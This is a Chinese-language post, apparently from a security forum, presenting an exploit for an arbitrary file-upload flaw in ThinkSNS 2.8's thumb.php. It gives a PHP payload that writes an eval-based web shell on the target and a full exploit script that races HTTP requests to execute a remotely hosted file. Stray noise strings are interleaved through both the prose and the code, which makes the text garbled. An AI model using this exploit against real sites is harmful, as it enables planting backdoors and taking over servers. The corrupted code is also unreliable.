Thinksns2.8文件上传漏洞利用exp

admin

漏洞版本
" n- o( L/ Z% `7 H存在漏洞的版本为：最新的2.8稳定版。（其它版本没测试过）
漏洞文件
7 N% W( k1 R  Q: Q存在漏洞的文件为：thumb.php
% f- k+ @; G- q: g0 a# g作者：韦鲲鹏
  x- B% \/ ?5 E  O1 |2 [1、        准备如下PHP文件并上传到服务器（自己的）。
# c& J7 {) J( J3 ~8 s9 E. I( X文件内容如下：
  ~: I  v% K! ~/ H8 R0 L<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
2、        计算出临时的文件名：
这里我们可以看文件的99行（刚刚是不是没注意呀！）。
) D* j7 U: c& M' m! j1 p
- j7 J* _+ Q- F2 }. w# }4 J% q% V; A3、        上传临时文件。
4、        访问临时文件。
6 O# A! M1 Y" b& D但是这里有个问题，PHP脚本执行的速度是非常快的，如果手工来执行第三和第四步的话，那需要的反应速度该多快呀！所以必须写一个工具来代替人来提交数 据，而且，为了增加第三步的执行时间，为第四步争取时间，我们需要给第一步所准备的PHP填充内容，经过测试，文件大小为300KB时成功率最高。（太小 时间太短，太大可能传不上去。）
Exploit文件内容如下：（这个我就不详细解释了）
<?php
error_reporting(0);
set_time_limit(0);
ini_set(“default_socket_timeout”, 5);
function http_send($host, $port, $headers) {
$fp = fsockopen($host, $port);
+ z9 U6 D  A, _if (!$fp) die(‘Connection -> fail’);
1 N2 _+ Z6 E8 E# rfputs($fp, $headers);
return $fp;
}
( v4 Q% @, ^3 bfunction http_recv($fp) {
$ret=”";
while (!feof($fp))
, M# O$ m( e2 E2 R) L- m$ret.= fgets($fp, 1024);
fclose($fp);
return $ret;
}
2 q6 ^2 B. n, A8 [print “\n#  ThinkSns Arbitrary File Upload   #\n”;
% V5 _) g( T+ J, X% e( U2 tprint “# Discovered by 韦鲲鹏 #\n\n”;
if ($argc < 4) {
4 E) h! I4 m! ~( l6 Fprint “Usage:   php <host> <path> <romote_url>\n”;
! }1 G/ g" L( K, v. hprint “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
die();
}
$host = $argv[1];
$path = $argv[2];
$url = $argv[3];
$i=0;
//上传数据包
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
$headers_up .= “Host: “.$host.”\r\n”;
$headers_up .= “Connection: close\r\n\r\n”;
echo $headers_up;
//临时文件访问数据包
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
$headers .= “Host: “.$host.”\r\n”;
$headers .= “Connection: close\r\n\r\n”;
echo $headers;
: S; [7 ^3 F$ N7 Q0 B  @* L- ]2 Awhile(++$i<10) {
- D. P  r8 m2 wfclose(http_send($host, 80, $headers));
}
6 v- }) A/ V; H" b3 Y: tfclose(http_send($host, 80, $headers_up));
while(++$i<50) {
fclose(http_send($host, 80, $headers));
}
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
/ G& E/ ?( C; y& R$headers .= “Host: “.$host.”\r\n”;
/ V& c, d2 E; J$ X! P6 h$headers .= “Connection: close\r\n\r\n”;
0 f9 z1 ]5 @2 T$res=http_recv(http_send($host, 80, $headers));
if(preg_match(‘/200 OK/’,$res)) {
print “Success!\n\n”;
} else {
0 O- p" J% ~/ X: q$ a8 F) s3 ]print “Fail!\n\n”;
2 ?- d% i8 t) B& r6 z}
?>
6 ^1 d# z, E9 c' G( S9 D3 o0 W​